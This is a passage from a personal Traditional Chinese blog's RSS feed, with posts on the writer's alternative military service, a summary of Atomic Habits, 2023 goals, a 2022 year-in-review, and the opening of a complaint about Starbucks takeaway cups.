<h2 id="寫在最後" class="relative group">寫在最後 </h2><p>消防署的三個月對我來說，與其說是當兵，其實更像是接了一份短期打工，最重要的一點就是：作為一個實實在在的職場，我觀察到了一些我有點難以接受的現象。</p>
<p>新訓第一堂課都一定會介紹替代役在台灣的緣起：除了落實尊重社會多元需求之類的高大上理由之外，另外一個比較小，但不常被提到的緣由是：在科技日益進步的情況下，國軍不需要也沒空間編制過多的義務役軍人 (至少在當時是這樣)。</p>
<p>所以</p>
<p>如果我沒有搞錯</p>
<p>我們的政府，每個月只要 5 千塊，就可以請到一個可能原本要 5 萬塊的猴子，去填補某偏遠離島、人力不足、加給往上調也沒有人要去的消防局空缺。</p>
<p>比方說在消防署，每年有多到不行的預算，來建置一大堆有的沒有的系統、設備，卻還是每年源源不絕的從役政署要役男來打雜，更不用提招聘一大堆便宜的約僱人員來撙節人事預算。</p>
<p>更厲害的是，一群年輕人會排隊來搶這些機會，因為可以不用待在軍營裡，誰不想。而且礙於這個定位模糊的身分，政府可以要求他盡公務人員和軍人的義務，比方說闖禍了，可以用公務人員懲戒條例或是軍法處置，但又可以不提供任何權利和福利，因為他不符合任何一個身分。</p>
<p>台灣的低薪早就不是三兩天的問題，我也不是第一天認識這個問題，但真正讓我感到意外的是：我原本以為這件事的責任，80% 要落在資方身上。但實際上是，政府自己也在帶頭壓低薪資</p>
<p><strong>最可怕的是：每個知道這件事的人都在集體沈默、縱容這個現象發生</strong></p>
<p>去年我從歐洲回來台灣的時候，約了很多久沒見面的朋友吃飯。很多人聽到我之後會去美國念書，都直覺的問了我一個問題：「之後還會回來台灣嗎」</p>
<p>當時我剛從國外回來，那些以前習以為常的好處，在當時的眼中格外顯眼，所以當時的答案滿肯定的，有一天會回來，不管是畢業或是工作一段時間之後。</p>
<p>但才過了半年，現在的我反而不這麼確定了。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>消防署的話是在<a href="https://goo.gl/maps/764Y9jwbd9DYAf8MA" target="_blank" rel="noreferrer">台北市替代役中心<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，aka 前三軍總醫院廢棄病房&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>在規定中，返家是備勤，如果被抓到下班之後沒有在家，是會被處分ㄉ&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>實際上是國防部把成功嶺某個營區劃給內政部新訓中心，看起來像在軍營，但其實是軍營裡的一個小區域，我們活動的範圍也不太會和其他正式的軍隊單位重疊&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">substitute-military-at-nfa</guid><pubDate>Wed, 08 Feb 2023 00:40:39 +0800</pubDate></item><item><title>⚛ 原子習慣</title><link>https://blog.tomy.me/zh-tw/posts/atomic-habits/</link><description>執行新年新希望的第一步 XDDDDD</description><content:encoded><![CDATA[<p>今年的第一本書讀完啦，撒花 ✧*｡ ٩(ˊᗜˋ*)و✧*｡</p>
<p>算是意外的順利 (?)，以我以前閱讀的速度，原本估計應該 2 或 3 月才有機會讀完，但可能時因為我有特別調整安排好適合閱讀的環境，所以整個閱讀體驗比我印象中的好上不少，也許之後可以再來寫一下我現在的閱讀習慣跟以前有什麼不同。</p>
<p>作為一個平常沒什麼在看書的人，連我都在很多地方聽過這本書，所以這次剛好收到這本書，我對他的期望是蠻高的，讀完之後確實有不少收穫，沒有辜負我對他的期待。這篇文章就來摘要一下一些重點，順便思考一下要怎麼在我自己的生活中去活用吧。</p>
<h2 id="大綱" class="relative group">大綱 </h2><p>這本書顧名思義圍繞在「習慣」上。整本書在開頭就把習慣的發生解構成四個階段</p>
<blockquote>
<p>提示💡、渴望💧，回應👏🏻，獎賞🎁</p>
</blockquote>
<blockquote>
<p>讓提示顯而易見，讓習慣有吸引力，讓行動輕而易舉，讓獎賞令人滿足</p>
</blockquote>
<p>然後在接下來的章節裡按照順序討論這四個階段如何發生。另外又分為好習慣跟壞習慣，當你希望培養好習慣時，該怎麼做，當你希望戒除壞習慣時，你可以怎麼反向操作。</p>
<p>最後結語的地方再補充兩個重點：</p>
<ul>
<li>習慣帶你達成 90 分，接下來要如何推到 100 分 (其實我覺得略為超出這本書討論的範疇，但是是一個給讀者方向好的啟發點)</li>
<li>習慣可能的副作用 / 缺點 (我很慶幸作者沒有選擇把這個中心思想吹的太滿，這樣會讓這本書的說服力沒這麼強)</li>
</ul>
<p>為了減少一些篇幅，我接下來只寫我覺得目前用的到的部分：如何打造一個 (小) 的好習慣。打造一個遠大目標的習慣，或是戒除壞習慣的部分，先 pass</p>
<h2 id="-革命宣言" class="relative group">💡 <del>革命</del>宣言 </h2><blockquote>
<p>於(<strong>時間</strong>)在(<strong>地點</strong>)進行(<strong>行為</strong>)</p>
</blockquote>
<p>把自己想做的事情講出來，越詳細越好。然後如果天生中二的技能點的夠滿，大聲唸出來可以增加自己的決心 (像日本高中生在學校頂樓告白那樣 (??????</p>
<p>e.g. 我將 TMD 於今天晚上，在 TMD 的書桌前把我拖了 TMD 1 個月的替代役心得文 TMD 寫出來</p>
<p>：））））</p>
<h2 id="-習慣堆疊" class="relative group">💡 習慣堆疊 </h2><blockquote>
<p>做完(<strong>舊習慣</strong>)，執行(<strong>新習慣</strong>)</p>
</blockquote>
<p>先找一個現有的舊習慣，然後把想做的新習慣接在舊習慣後面。這樣當以後執行舊習慣的時候，就會自動想到要執行新習慣。</p>
<p>e.g. 我每天晚上洗完澡都會抓一把零食當點心，所以我打算現在開始，在吃完點心之後寫一篇文章</p>
<p>要注意的一點是，新習慣想要執行的頻率應該要跟舊習慣對齊。上面的這個例子其實就犯了這個錯，因為我目前預期大約是一個禮拜才寫一篇，但實際上，我幾乎每天晚上都會吃點心。但我想就先試試看好了，也許會意外增加我的寫作頻率也說不定。</p>
<p>另外書裡沒有提但我有想到的一個問題：在新習慣建立前，如果我的舊習慣消失了，那不就 break 掉整個 feedback loop 了嗎？
(像 <a href="https://www.theregister.com/2016/03/23/npm_left_pad_chaos/" target="_blank" rel="noreferrer">left-pad<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 那樣)</p>
<h2 id="-設計環境-最小努力原則" class="relative group">💡 設計環境、👏🏻 最小努力原則 </h2><blockquote>
<p>讓提示顯而易見</p>
</blockquote>
<p>就像商店把最需要行銷的產品放在 eye-level 的架子上，當某些物品被放置在對的地方，就會促進/激發你去執行某些行為。大腦會傾向選擇需要最小努力就能達成的事做，就像大學生最喜歡在期末考前開始打掃房間，因為這時候在快要爆掉的期末面前，打掃亂了一整個學期的房間似乎變的輕鬆許多 (X。所以設計好的環境，減少摩擦力，才會容易開始新習慣。</p>
<p>一個書上舉的例子是：在早上起床後，把睡前要看的書放在枕頭上，如果睡前習慣滑手機，可以把收集留在房間以外的房間，讓閱讀的環境不被打擾。</p>
<p>可是我一躺床就昏迷了，何況看書：）</p>
<p>但很意外的，我在無心的情況下達成了這個技巧 XDDDDD。Follow 我之前在 <a href="/zh-tw/posts/2023-outlooks/#-閱讀">2023 展望</a> 裡提到的，我選擇在搭長途火車的路上來讀這本書，效果和環境我還挺滿意的。所以我目前的做法是：我每個禮拜的 outing day 就把書帶出去，找一個舒服的地方坐下來看。</p>
<h2 id="-由重複開始而非完美" class="relative group">👏🏻 由重複開始，而非完美 </h2><blockquote>
<p>頻率比時間長度重要</p>
</blockquote>
<p>就像洗澡一樣，從脫衣服的那一刻起到洗完穿衣服整個過程都很順手，不用經過大腦思考。不是因為我們花了很多時間練習，而是因為我們太常做這件事了，哪怕每天只有一次。</p>
<p>所以把寫作的頻率提高，也許可以真可以加快我消滅這個過程中不順的地方也說不定。</p>
<h2 id="-重量不重質" class="relative group">👏🏻 重量不重質 </h2><p>雖然有點太細節了，但我很喜歡這個書上的例子；有一門攝影課將評分方式分為兩種：</p>
<ul>
<li>數量組：拍幾張拿幾分，好不好看不重要</li>
<li>品質組：只能交一張，但是分數完全取決於品質</li>
</ul>
<p>最後意外的是，教授發現他最喜歡的照片，幾乎全來自於數量組，因為大家瞎雞巴亂拍了一通反而在錯誤中學到了很多，反而品質組的因為一直在快門間猶豫，拍出來少少的照片也不如預期的好。</p>
<p>所以做就對了，<del>幹就是了</del>，不要拘泥在計畫：先行動，在習慣形成之後慢慢修正上軌道。我開始寫作的方式大概就有點類似這樣，雖然我寫了很多垃圾，像流水帳，但我應該有在這個過程中慢慢進步 吧 (不對欸這篇文章好像有點太長了，完蛋</p>
<h2 id="-兩分鐘法則-不貳過" class="relative group">👏🏻 兩分鐘法則、🎁 不貳過 </h2><p>再忙，也擠出兩分鐘來培養習慣。比方說，就算已經很晚了，還是把書拿起來看個兩頁，就算真的只看兩頁，也達成了上面<a href="#-%e9%87%8d%e9%87%8f%e4%b8%8d%e9%87%8d%e8%b3%aa">重量不重質</a>的原則。然而實際上這個秘訣的厲害之處是，很多時候看了兩頁書，反而會讓自己再接著繼續看下去，因為這時的最大靜摩擦力已經消除了，所以穩穩地往下推就會變得相對不費力。</p>
<p>就算真的有很重要的事情導致好習慣被錯過了，不要讓自己安於這樣的狀態，儘快恢復到原來的 loop，創造下一段連續週期來避免就此中斷。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/atomic-habits/signed-by-yc.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Signed by YC"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">特別感謝我的實驗室老師 YC 在畢業餐敘的時候送我這本書</figcaption>
</figure>
</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">atomic-habits</guid><pubDate>Mon, 06 Feb 2023 12:08:49 +0800</pubDate></item><item><title>2023 展望</title><link>https://blog.tomy.me/zh-tw/posts/2023-outlooks/</link><description>三個字 好好生活</description><content:encoded><![CDATA[<p>今年的計畫很簡單，因為我已經錄取至少一間美國的 Master&rsquo;s 了，其他學校應該過完年會陸續開獎，細節就之後再寫一篇文章吧。總之確定的就是大概 8 9 月會飛出去唸書。</p>
<p>所以在那之前就是一片空白，基本上跟 Gap <del>year</del> three quarter 差不多。也許之後可能會安排去打工度假、環個島、Workation、實習，但這些東西目前八字都還沒一撇，所以大概是也沒什麼好寫的。</p>
<p>但在這個特別的時間點，應該是很適合好好的回顧一下這幾年的生活，還有接下來要達成的一些目標。</p>
<h2 id="-重視短期目標" class="relative group">🎯 重視短期目標 </h2><p>我自從上了大學之後，設立了蠻多執行時間大於 1 年的大目標，比方說轉學、實習、交換甚至到現在在申請國外的研究所，而且這些大目標的執行都蠻不錯的。不會到說都很完美，但我有發現我的確對於這種目標非常遙遠的目標，蠻有一套方法去處理每一個細節，就是 Divide and conquer 的概念。</p>
<p>但我也發現在前進這些目標的時候，與其說我非常有條理的按照進度執行計畫，其實更像是，我把所有可能需要的東西想好了，然後就一股腦的開始硬幹 <del>，然後天就亮了</del>。</p>
<p>這樣的問題點就在於：我會很容易忽略那些，其實可能也同樣重要的其他事情。比方說好好生活、好好吃飯、好好面對下面這些——我一直想培養，但每次 ☄️ 砸下來就會被我丟到一邊的興趣。</p>
<p>那既然現在的日子難得悠哉了起來，應該是沒有理由可以讓我推託不好好重視這些小的短期目標。但必須老實說，目前 2023 已經過了 11 天，雖然我已經稍微擠出了一套以週為執行週期的計畫，可惜目前看起來遵循的不太理想，也許先把老師送的《原子習慣》看完會是一個不錯的主意 (?) ，至少會稍微有頭緒一點吧哈哈哈哈</p>
<p>總之，寫在第一點就是因為，這個大方向會影響到我要怎麼達成我下面列的其他目標。某種程度上來說，也許好好的 follow 一套成果可能不理想計畫，會比亂搞一通然後不小心達成了某種成就更有價值。如果沒有累積，然後 reproduce 成功的經驗，感覺就很容易掉進原地踏步的迴圈裡。希望我會慢慢找到一些撇步，慢慢修正這套計畫到軌道上吧 (?)。</p>
<p>還是會證明我上面的理論是錯的呢，who knows ¯\_(ツ)_/¯</p>
<h2 id="-寫作" class="relative group">✍🏻 寫作 </h2><p>好啦，這應該是目前算是有點在軌道上的目標&hellip;吧&hellip;嗎 (?)</p>
<p>我從前年開始斷斷續續的寫了一些文章，當時的目標是希望培養一下文學的素養，因為我練習英文寫作練習到一半發現，爛的不是我的英文，而是我的文學素養，退一步來說，我的語文腦可能長期處在一個低度開發的狀態。</p>
<p>雖然現在申請研究所的工作已經差不多告一個段落了，可能短期內不太會再遇到需要大量寫作的工作，但我發現文字確實是輸出想法、體悟，乃至於生活經驗的完美載體，所以我希望持續的寫作，會是我能夠延續的習慣。而且這也是我目前能想到，紀錄我下面其他目標執行狀況最好的方式。</p>
<p>即便我目前對於寫文章的體驗是不錯的，但目前寫了這麼多篇文章，還是有一些問題還沒有解決：</p>
<h3 id="寫作時間" class="relative group">寫作時間 </h3><p>我經常想到一個題材，然後就想說：「喔，這個概念應該蠻簡單的，我們就速戰速決好了」。然後寫下去 3 4 個小時就不見了。就我的印象，目前還沒有文章是低於 1 個半小時內完成的。</p>
<h3 id="邏輯架構" class="relative group">邏輯架構 </h3><p>早期剛開始寫的時候，因為還沒什麼經驗，所以我常出現「想到什麼就寫什麼」的狀況。由此可見我國高中應該是真的沒什麼認真在上國文課：）現在的話，會先大概列好大綱，確定整個脈絡是清晰的再開始寫，但有時候還是會不小心偏題，或是忘記原本想要寫的東西。</p>
<h3 id="用字遣詞" class="relative group">用字遣詞 </h3><p>跟前面「想到什麼就寫什麼」有點像，我現在寫作的方式有點像是腦中有另一個我，然後我一邊把我想講的東西講給他聽，然後就一邊把逐字稿打下來。但講故事和寫作本質上還是有蠻大的不同，連我自己再重新看自己寫的文章都會覺得冗言贅字有點多，產生某種煩躁感。然後為了修掉這些看起來很奇怪的語句，我的寫作時間又會大幅增加。</p>
<p>總之，之後可能再找時間 survey 這些問題的解決方案吧，最重要的還是先維持這個習慣，然後把 blog 其他比較小細節的 code refine 好然後公開</p>
<h2 id="-攝影" class="relative group">📸 攝影 </h2><p>我對攝影一直算是有興趣的，從大概國中我就有涉獵一些可以擴充 iPhone 攝影的配件、研究不同的玩法。之所以沒有在當時就去買一台相機，然後認真的栽進這個領域，有很大一部分是因為：我很早就發現攝影是一個蠻大的錢坑。其他細節，還有為什麼現在要啟動這個領域，我想留到之後有第一篇心得的時候再一起講也許會更適合一點。</p>
<p>去年年底就已經有開始看相機了，沒意外的話應該等到 <a href="https://www.canonrumors.com/the-canon-eos-r8-will-be-announced-at-cp-in-february/" target="_blank" rel="noreferrer">2 月底 Canon CP+<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 落幕，就會購入我人生中第一台單眼相機。</p>
<h2 id="-閱讀" class="relative group">📚 閱讀 </h2><p>還記得去年去法國交換的時候，我們在新生歡迎有拿到一份巴黎生存指南，有一條寫著</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-outlooks/subway-like-parisian.jpg"
      class="mx-auto my-0 rounded-md"
      alt="像巴黎人一樣搭地鐵"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">如果你想用巴黎道地的方式搭地鐵，帶本書或報紙吧</figcaption>
</figure>
</p>
<p>而在我的觀察裡，也確實是這麼一回事——法國人真的很喜歡在搭乘交通工具的時候閱讀。在火車站的 Relay (類似便利商店的小賣店) 除了賣零食、飲料、報紙，還會賣一些比較薄的書，就是為了讓人可以在到達目的地前看完這本書。</p>
<p>我必須承認我的確不是一個喜歡看書的人。</p>
<p>不喜歡到，我爸為了鼓勵我多看點書，只要是我想看的書，他全部都買單，不用花我自己的零用錢買。</p>
<p>因為我從很久以前就認為，我能在書本上獲得的知識，都能透過別的方式獲得，所以如果要學習某方面的知識，我更 prefer 去網路上搜尋相關的資源，而不是去找相關的書來看。我想這也是為什麼，我的語言腦會長期未開發吧哈哈哈哈哈。</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/LyUVgcsjp8s?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="why you stopped reading by Answer in Progress"></iframe>
    </div>

<p>我想我應該不是唯一一個跟閱讀疏遠的人，前陣子剛好看到這支影片，算是印證了我某方面的想法。我覺得我漸漸開始接受「閱讀」這個習慣本身是有價值的，也許我也應該去培養這個習慣，但我也應該要接納，閱讀本來就是緩慢、樸實、感官刺激非常低的過程。</p>
<p>目前我想培養這個習慣的原因大概有這些：</p>
<ol>
<li>我發現看書在想法上能獲得的啟發，會比起看網路文章、影片、或聽 podcast 來的有深度和廣度，也許這會促使我用更多不同的方式去 <del>使用我的腦袋</del> 理解這個世界</li>
<li>看書似乎是一個很好讓生活慢下來的方式，而這是我現在滿需要做的一件事。看起來可能有點抽象，看完<a href="#-%e7%b5%90%e8%aa%9e">下個段落</a>可能會比較了解我想表達什麼</li>
<li><del>裝逼</del></li>
</ol>
<p>但我必須坦白說，這樣的動機和目的應該是遠不足以支撐培養這個興趣。也許我會需要再多花一些時間，去思考我希望透過培養這個習慣來獲得什麼。</p>
<h2 id="-結語" class="relative group">📝 結語 </h2><p>今年最重要的目標其實應該是：好好生活</p>
<p>還記得前年暑假去 Intel 實習，剛進去的時候免不了要有一輪自我介紹。在某個場合有人就問到：「欸，你平常的興趣是什麼？」然後我就突然開始腦內小劇場</p>
<blockquote>
<p>寫 code 啊，廢話</p>
</blockquote>
<blockquote>
<p>沒有更好的答案嗎</p>
</blockquote>
<blockquote>
<p>uhm&hellip;看電影怎麼樣</p>
</blockquote>
<blockquote>
<p>等一下他問我們看什麼怎麼辦，我們連 Netflix 都越來越少在看了欸</p>
</blockquote>
<p>是的，可以看到，雖然我現在的興趣真的是寫 code <del>，即便這讓我看起來很像某種 cybrog</del>。但在那之前，我確實還是有很多寫 code 以外的興趣和人生，比方說旅遊、追劇、看展覽。而我想最大的轉折點就在，就如同我在<a href="#-%e9%87%8d%e8%a6%96%e7%9f%ad%e6%9c%9f%e7%9b%ae%e6%a8%99">上面</a>所說的，我太常一口氣把所有的時間都砸在某顆 ☄️ 上，然後 ☄️ 會一顆接著一顆來，導致我用沒有效率的方式在處理每一件事情，然後失去我其他正常日子裡的其他消遣。</p>
<p>總結下來，我覺得有兩件事情需要改變：</p>
<ol>
<li>重拾 coding 以外的消遣，並且安排專門的時間，所以我就不會在做這些事情的時候被其他狗屁倒灶的事情打斷</li>
<li>增加我在做正事和 coding 時的效率，事半功倍才能把時間拿去做真正重要的事情</li>
</ol>
<p>而這兩件事呢，第一點又比第二點來的重要，做這些消遣可能沒有急迫性或是立即的效益，但長期而言，這會促使我的腦袋不會因為卡在做某一件事情太久而變得僵化，而也因為消遣的性質，導致我容易去合理化放棄做這些事情的時間。所以最好的作法，就是先畫清楚這些時間我就是不可以拿來做正事，然後相信我的本能會好好的利用可以運用的時間，來把該做的事情做好。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-outlooks</guid><pubDate>Wed, 11 Jan 2023 16:54:58 +0800</pubDate></item><item><title>2022 回顧</title><link>https://blog.tomy.me/zh-tw/posts/2022-year-in-review/</link><description>特別豐富的一年，值得好好記錄一下</description><content:encoded><![CDATA[<p>2022 應該是這幾年算是過的特別豐富的一年，值得好好記錄一下</p>
<h2 id="jan--may----法國交換" class="relative group">Jan. ~ May. - 🇫🇷 法國交換 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-year-in-review/europe-plan.jpg"
      class="mx-auto my-0 rounded-md"
      alt="🗺 歐洲旅程地圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">🗺 歐洲旅程地圖</figcaption>
</figure>
</p>
<ul>
<li>2 月的專題週去了 🇧🇪 比利時、🇳🇱 荷蘭</li>
<li>3 月初的春假去了伊比利半島的 🇪🇸 西班牙、🇵🇹 葡萄牙</li>
<li>3 月中有 🇫🇷 里昂 的週末小旅行</li>
<li>4 月學期結束之後一路去了 🇩🇪 德國、🇩🇰 丹麥、🇮🇪 愛爾蘭、🇬🇧 英國</li>
</ul>
<p>與其說是交換，不如說是頂個學生的名義來一趟歐洲大遊行。一開始是真的想要去認真的學點專業的東西、學點法文、交一些外國朋友，但後來發現學校的假其實比我原先預期的來的多很多，所以實際上最後大部分時間幾乎都是自己一個人在到處旅行。</p>
<p>如果用一句話濃縮我最深刻的感受，就是「自由得來不易」；這可以有兩種解讀，一個是，親眼在很多博物館看到歷史課本上的戰爭，那些建立了今天很多國家民主體制的戰爭。另一個是，即便是在民主的國家，也多的是沒有錢、沒有身分、沒有工作能力、或是大環境正在遭逢巨變而難以生活的人。我能夠在沒有任何負擔的條件下，成為疫情後第一批出去周遊列國的學生，真的是不知道上輩子修了多少福氣。</p>
<p>其他旅程上的啟發，就留到之後陸續寫成文章放上來吧。</p>
<h2 id="jun--sep----劇坊公演-gre-toefl" class="relative group">Jun. ~ Sep. - 🎭 劇坊公演、📖 GRE、📖 TOEFL </h2><p>眼尖的人可能會發現上面的地圖還標了一些瑞士、南法和義大利的城市，那些都是原本有想，但後來沒去的計畫。在歐洲的時間，其實我一直都有在參與中興劇坊這邊公演都籌備，實際上的工作其實不多，就是有人提問題的時候我就出一張嘴給意見，然後開會來和大家聊八卦而已。但一開始就是打算提早結束歐洲的行程，然後回台灣參與我畢業前最後一次的社團活動。</p>
<p>後來在大概 4 月，接近公演的時候，我開始接收到公演可能會取消的訊息。後來沉澱過後還是決定照計畫在 5 月回來，想說就算取消我也可以提前開始唸書準備考 GRE 和 TOEFL。</p>
<p>後來比較賭爛的是，都已經提前回來唸書考試了，考了好多次還是沒有考到原本設定的目標，而且一路拖到跟後面的進度撞在一起。</p>
<h2 id="sep--dec----國軍替代役-online---申請美國研究所" class="relative group">Sep. ~ Dec. - 🪖 <del>國軍</del>替代役 Online + 🏛 申請美國研究所 </h2><p>基本上我交換回來，只要等到法國的成績單就可以回中興辦畢業，可是法國學校那邊原本接待交換生的職員離職，新來的職員又去放暑假了 (還有很多中間來來回回的 je ne sais pas 和 ce la vie，非常法國的部分 xDDDDD)。總之成績單拖了很久才拿到，但也剛好，反正只要不拖到延畢或是補繳學費，我就可以透過控制畢業的時間來間接控制我收到兵單的時間。最後壓在 9/13 入伍替代役 237 梯，扣掉我高中和大學軍訓課抵的時間，就剛好在 2023/1/1 退伍。</p>
<p>其他當替代役的細節大概也是&hellip;&hellip;之後再寫吧。</p>
<p>同一時間也剛好要開始準備申請美國研究所需要的 statement 和其他文件，然後多虧了我前面 4 個月沒把考試考好，所以現在明明已經沒空了，還是會想說要最後再衝一下。雪上加霜的是，因為最早的 deadline 被壓在 11/30，所以拖到退伍再來認真弄基本上就不可能，如果最後我真的退伍還在弄，那就代表一定是出了大事。</p>
<p>所以我 10 月和 11 月的每日作息基本上就是：</p>
<ul>
<li>早上7 點起床，8 點進消防署上班</li>
<li>下午 5 點下班，吃完晚餐開始唸 TOEFL</li>
<li>晚上差不多 10 點去洗個澡刷個 YouTube 休息一下</li>
<li>11 點開始爬文收集資料和弄申請的東西</li>
<li>2、3 點上床睡覺</li>
</ul>
<p>再外加週末去考試，真的會有一種回到高中，書念不完生活一團糟的既視感。那段時間身邊的人看到我就說：「哇 你在 2 個月就要退伍了欸，好快哦。」殊不知這句話在我耳裡聽起來其實更像是「你的 deadline 只剩下一個月了哦，是不是要爆啦 🙃」</p>
<h2 id="-misc" class="relative group">📋 Misc </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2022-year-in-review/mailcow.jpg"
      class="mx-auto my-0 rounded-md"
      alt="🐮 Mailcow：我自架的 mail server"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">🐮 Mailcow：我自架的 mail server</figcaption>
</figure>
</p>
<p>其他今年的小成就：</p>
<ul>
<li>在法國交換的時候，用空閒的時間架了自己的 Email server
<ul>
<li>然後在接下來一年的時間內陸續把**所有**之前 Gmail 申請的網路帳號切換到新的 email
<ul>
<li>**所有**大約是 400 多個，我也很意外我到底為什麼會有這麼多帳號</li>
</ul>
</li>
<li>甚至還發了 <a href="https://github.com/mailcow/mailcow-dockerized/pull/4657" target="_blank" rel="noreferrer">PR<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 幫這個專案加了繁體中文的翻譯
<ul>
<li>本來只是翻譯，最後直接升級成幫人家寫決定語言的演算法，昏倒</li>
</ul>
</li>
<li>自架 email 這件事在某方面來說比我想像中的簡單，在另一方面來說卻又困難到不行，之後再寫</li>
</ul>
</li>
<li>算是把這個 blog 的架構弄出了一個雛形，剩下一些小細節還沒想好要怎麼處理
<ul>
<li>照片跟著 git 長期而言似乎不是一個好主意，只是這個未爆彈要等到我真的寫了夠多文章才會爆開，再加上這個問題的複雜度有點高，現在花時間處理意義不大，留到之後再說</li>
<li>照片的呈現效果不是很理想，但不引入外部 library 似乎不好解</li>
<li>需要有留言板嗎&hellip;&hellip;?</li>
<li>到底要不要做 analytics 啊，我的文章真的會有很多人看 (?)</li>
<li>私心有點希望可以做到 JavaScript-less，但不太確定技術上可不可行，還有意義是什麼</li>
</ul>
</li>
<li>開始有比較認真的去關注國際新聞和政治局勢，只是目前感覺缺乏系統性的方式來做這件事</li>
</ul>
<h2 id="結論" class="relative group">結論 </h2><p>如果知道提早回來也不會考比較高，我應該會選擇照原定計畫去南法和義大利玩吧 (瑞士還是等到我財富自由好了，貴死)。還有真的不要把申請季和當兵ㄍㄡˇ在一起，真的是不作死就不會死。如果可以給我選，也許排到 2023 年初再進去當應該會相對不緊湊一點，像我現在退了反而還沒什麼事做，唉。</p>
<p>2022 該做但沒做的 + 2023 展望就明天再寫好了，嘻嘻</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2022-year-in-review</guid><pubDate>Thu, 05 Jan 2023 13:49:13 +0800</pubDate></item><item><title>🥤 星巴克的外帶杯真是越來越不行</title><link>https://blog.tomy.me/zh-tw/posts/starbucks-paper-cup/</link><description>這麼貴的飲料，杯子這麼爛是可以的嗎</description><content:encoded><![CDATA[<p>作為星巴克版的長期潛水員，久久浮出來抱怨一下</p>
<h2 id="前情提要" class="relative group">前情提要 </h2><p>星巴克的外帶杯這幾年有經歷了幾波調整，我就寫我知道和有觀察到的部分，剩下的開放版友科普。</p>
<ul>
<li>第一波應該是 2019 年開始，禁用塑膠吸管，所以杯蓋從原本的平口杯蓋改成現在的啜飲杯蓋。</li>
<li>第二波就是在疫情期間上架外送平台前，又對杯蓋做了新的防潑灑設計的修改 (具體差別我就沒特別注意)。</li>
